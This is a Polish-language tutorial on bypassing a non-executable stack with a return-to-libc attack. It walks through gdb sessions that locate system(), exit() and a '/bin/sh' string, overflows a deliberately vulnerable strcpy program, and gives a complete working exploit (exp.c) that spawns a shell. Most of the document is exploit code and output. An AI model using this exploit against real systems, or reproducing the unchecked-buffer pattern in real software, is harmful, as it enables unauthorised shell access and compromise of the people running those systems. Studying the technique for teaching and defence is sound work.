Buffer Overflow, zabezpieczenia stosu przed wykonywaniem rozkazów.

by h07 (h07@interia.pl)

Intro

Zabezpieczenie stosu uniemożliwia procesorowi wykonanie rozkazów znajdujących się na stosie. Taka sytuacja ma miejsce, gdy po przepełnieniu bufora adres powrotu wskazuje na kod powłoki znajdujący się na stosie (np. w buforze wejściowym atakowanego programu). Ów mechanizm bezpieczeństwa znalazł juz zastosowanie między innymi w systemach takich jak BSD czy Solaris.

Jak zatem zmusić atakowany program, by wykonał jakąś funkcje gdy skok do rozkazów procesora umieszczonych w buforze wejściowym programu jest niemożliwy?

Rozwiązaniem jest wykonanie funkcji której kod nie znajduje się na stosie (logiczne). Zbiór podstawowych funkcji języka C znajduje się w bibliotece libc. Jeśli nadpiszemy adres powrotu adresem funkcji znajdującej się w bibliotece libc to uda nam się wywołać ów funkcje przez co zabezpieczenie stosu przestaje być problemem ponieważ wykonujemy skok do kodu funkcji, który nie znajduje się na stosie.

Praktyka.

Bez praktycznych przykładów suche regułki stają się bezużyteczne.
Oto więc przykład “praktyczny”.. hello world hehe

```
//hello.c

main()
{
printf("hello world\n");
}
```

Dzięki temu banalnemu programowi możemy ustalić adresy funkcji znajdujących się w bibliotece libc ponieważ kompilator GCC standardowo dołącza ów bibliotekę.
Zatem na początek ustalmy adres funkcji exit()..

```
[h07@MD5 libc]$ gcc -o hello hello.c
[h07@MD5 libc]$ gdb hello

(gdb) break main
Breakpoint 1 at 0x8048372
(gdb) run
Starting program: /home/h07/BO/libc/hello

Breakpoint 1, 0x08048372 in main ()
(gdb) p exit
$1 = {<text variable, no debug info>} 0x4004d460 <exit>
```

Aby wywołać funkcje exit() musimy wykonać skok do jej adresu rozkazem CALL. Ponieważ ów funkcja nie wymaga podania argumentów zostanie natychmiastowo wykonana.
Sprawdźmy to..

```
//exit.c

main()
```

```
{
asm(
   "mov $0x4004d460, %eax\n"
   "call *%eax\n"
   );
}
```

```
[h07@MD5 libc]$ gcc -o exit exit.c
[h07@MD5 libc]$ ./exit
[h07@MD5 libc]$
```

Widzimy ze program wykonał skok do adresu funkcji exit() poprawnie kończąc swoje działanie.

Jednak wykorzystując błąd przepełnienia bufora interesuje nas utworzenie nowej powłoki systemu. Najprościej możemy zrealizować to wywołując funkcje system() znajdującą się w bibliotece libc. Problem polega na tym iż musimy ów funkcji dostarczyć argumentu w postaci wskaźnika do łańcucha znaków /bin/sh dzięki czemu zostanie utworzona nowa powłoka systemu.

```
 system("/bin/sh");
```

Gdy wywołujemy daną funkcje to przyjmuje ona, że argumenty dla niej znajdują się na stosie w odwrotnej kolejności (za adresem powrotnym RET).

Jeśli ustalimy adres łańcucha /bin/sh i odłożymy go na stosie to funkcja system() potraktuje go jako argument i utworzy nową powłokę systemu. Ustalmy zatem adres funkcji system() i przeanalizujmy sposób przekazywania jej argumentu z poziomu assemblera.

```
(gdb) p system
$1 = {<text variable, no debug info>} 0x400578c0 <system>
```

```
//sys.c

char *arg = "/bin/sh";

main()
{
asm(
   //odkladamy na stosie adres lancucha /bin/sh
   "push arg\n"

   //umieszczamy adres funkcji system() w rejestrze EAX
   "mov $0x400578c0, %eax\n"

   //wywolujemy funkcje system()
   "call *%eax\n"
   );
}
```

```
[h07@MD5 libc]$ gcc -o sys sys.c
[h07@MD5 libc]$ ./sys
sh-2.05b$
```

W ten sposób utworzyliśmy nową powłokę systemu odkładając na stos argument (/bin/sh) i wykonując skok do funkcji system() znajdującej się w bibliotece libc.

Spróbujmy teraz wykorzystać błąd przepełnienia bufora na stosie w bardzo prostym programie i utworzyć

nową powłokę systemu za pomocą funkcji bibliotecznych libc.

Kod programu...

```
//target.c

int main(int argc, char *argv[])
{
char buffer[80];
if(argc > 1) strcpy(buffer, argv[1]);
return 0;
}
```

Jeśli wprowadzimy zbyt długi łańcuch jako parametr uruchomienia programu target.c to przepełnimy bufor na stosie (logiczne & oczywiste). Bufor ma pojemność 80 bajtów, ustalmy zatem długosc wprowadzanych danych, która wystarczy do nadpisania adresu powrotu.

```
[h07@MD5 libc]$ gcc -o target target.c
[h07@MD5 libc]$ gdb target

(gdb) r `perl -e 'print "A"x92'`
Starting program: /home/h07/BO/libc/target `perl -e 'print "A"x92'`

Program received signal SIGSEGV, Segmentation fault.
0x40037e00 in __libc_start_main () from /lib/tls/libc.so.6

(gdb) info reg ebp eip
ebp            0x41414141       0x41414141
eip            0x40037e00       0x40037e00

(gdb) r `perl -e 'print "A"x96'`
Starting program: /home/h07/BO/libc/target `perl -e 'print "A"x96'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg ebp eip
ebp            0x41414141       0x41414141
eip            0x41414141       0x41414141
```

Widzimy ze dane o długości 96 bajtów wprowadzane do programu target.c nadpisują adres powrotu. Jeśli nadpiszemy adres powrotu adresem funkcji system() i na stosie odłożymy argument dla ów funkcji czyli adres łańcucha /bin/sh to utworzymy nową powłokę systemu. Tylko jak umieścić na stosie argument dla funkcji system? Rozwiązaniem tego problemu jest utworzenie nowej zmiennej środowiskowej, która przechowywać będzie łańcuch /bin/sh. Następnie pobierzemy adres tego łańcucha i umieścimy na stosie dopisując go za adresem funkcji system() w buforze wejściowym programu.

Funkcja putenv() tworzy nową zmienną środowiskową...

```
//str.c

main()
{
char *str = "str=/bin/sh";
putenv(str);
system("/bin/bash");
```

```
}
```

```
[h07@MD5 libc]$ gcc -o str str.c
[h07@MD5 libc]$ ./str
[h07@MD5 libc]$ echo $str
/bin/sh
```

Program str.c utworzył nową zmienną środowiskową o nazwie str, która przechowuje teraz łańcuch /bin/sh.

Przy pomocy funkcji getenv() ustalimy adres łańcucha /bin/sh. Argumentem tej funkcji jest nazwa zmiennej środowiskowej a zwracana wartość jest wskaźnikiem do łańcucha znaków przechowywanego w zmiennej..

```
//read.c

main()
{
int address = getenv("str");
printf("address: 0x%x = %s\n", address -1, address);
}
```

```
[h07@MD5 libc]$ gcc -o read read.c
[h07@MD5 libc]$ ./read
address: 0xbfffff21 = /bin/sh
```

Reasumując dysponujemy już adresami funkcji system(), exit() oraz adresem łańcucha /bin/sh, który posłuży jako argument dla zmiennej system().

Możemy zatem przystąpić do stworzenia prostego exploitu...

```
//exp.c

char buffer[106];

char shellcode[] =

"\xc0\x78\x05\x40" //system()
"\x60\xd4\x04\x40" //exit()
"\x21\xff\xff\xbf";//address /bin/sh

main()
{
memset(buffer, 'A', 92);
memcpy(buffer + 92, shellcode, 12);
execl("./target", "target", buffer, 0);
}
```

Jak działa exploit?
W pierwszej kolejności bufor wypełniany jest 92 znakami “A” (hex A = 41). W kolejnych 4 bajtach dopisywany jest adres funkcji system(), który nadpisuje adres powrotu. Następnie dopisywany jest adres funkcji exit(), która poprawnie zakończy atakowany program. Na samym końcu na stos dopisywany jest adres łańcucha /bin/sh, który zostanie potraktowany jako argument funkcji system() i w rezultacie zostanie utworzona nowa powłoka systemu.

Odpalamy..

```
[h07@MD5 libc]$ gcc -o exp exp.c
[h07@MD5 libc]$ ./exp
sh-2.05b$
```

W ten sposób wykorzystaliśmy błąd przepełnienia bufora tworząc nową powłokę systemu. Ponieważ korzystaliśmy z funkcji bibliotecznych języka C, których kod nie znajduje się na stosie to pozwoliło nam to obejść zabezpieczenie stosu przed wykonywaniem rozkazów.

Outro

Artykuł jest dość krótki i konkretny zatem chyba nic wyjaśniać nie trzeba. Przykłady ilustrujące wywołania funkcji z poziomu assemblera zapisane są w notacji AT&T ponieważ kompilator GCC korzysta właśnie z takiego zapisu.

```
AT&T: mov %eax, %ebx
Intel: mov ebx, eax

EoF;
```